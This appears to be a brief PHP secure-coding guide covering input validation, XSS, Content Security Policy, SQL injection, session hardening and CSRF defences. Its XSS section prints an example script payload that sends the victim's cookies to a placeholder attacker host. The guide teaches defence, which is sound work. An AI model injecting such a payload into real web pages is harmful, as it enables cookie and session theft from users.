A secure application is as important (or even more, depending on it’s type) as a well-written one.
Unfortunately, not so many developers are concerned about that topic.
Overall, following some simple rules can improve a lot the security of applications.
Here I will focus on PHP examples, but the concept may be adapted to other languages.
Pillars of Information Security
- Multiple Layer Security
- Consider that each layer will eventually fail
- Provide the minimum amount of information required
Validate user input
Since HTTP requests can be manipulated client-side, all user input must be validated.
- PHP offers the extensions ctype and filter. In addition, most frameworks implement some sort of data sanitization.
- PHP 7+ provides type declarations that allow you to specify the expected type of parameters.
declare(strict_types = 1);
Cross-site scripting (XSS)
When a user-supplied script is stored and/or executed by the application.
Assuming that an application allows input via GET method, a malicious attacker do this injection:
<script> (New Image()).src = "http://attacker_url/?" + escape(document.cookie); </script>
- Based on DOM
- Cookie/session theft
- DOM Manipulation
- Browser exploits
- Same-origin Policy only allows access to code from the same origin (protocol/domain/port) of the application, while allowing access to external files (a lib such as JQuery, for example)
- Filter user input (strip_tags, filter_var, preg_replace)
- Escape output (htmlspecialchars, htmlentities, filter_var)
- Apply Content Security Policy (default-src, img-src, script-src) -> delete inline code
Testing the CSP
A report is created when related warnings are generated by the application.
Content-Security-Policy-Report-Only Report-uri /path/file.php
- Do not concatenate data (parameters) with SQL queries
- Validate user input
- Use prepared statements
- Escape characters
- Use HTTPS
- Set secure and HttpOnly flags
- Prevent XSS
- Change Session ID
- Store some distinctive user information in session
- Detect session hijacking (token)
- Use HSTS to hinder session theft
session.use_strict_mode = true; session.cookie_secure = true; session.use_only_cookies = true; session.cookie_httponly = true; Strict-Transport-Security: max-age = 86400; includeSubDomains
Cross-site Request Forgery (CSRF)
- Caused by viruses, scam/phishing, malicious site/redirect
- Submit token
- Do not use GET for operations involving data manipulation (just a good practice, because POST can also be manipulated)
- Attacker creates fake page and through requests to the target site (usually via iframe), takes advantage of the user session
header('X-FRAME-OPTIONS', 'DENY'); // or SAMEORIGIN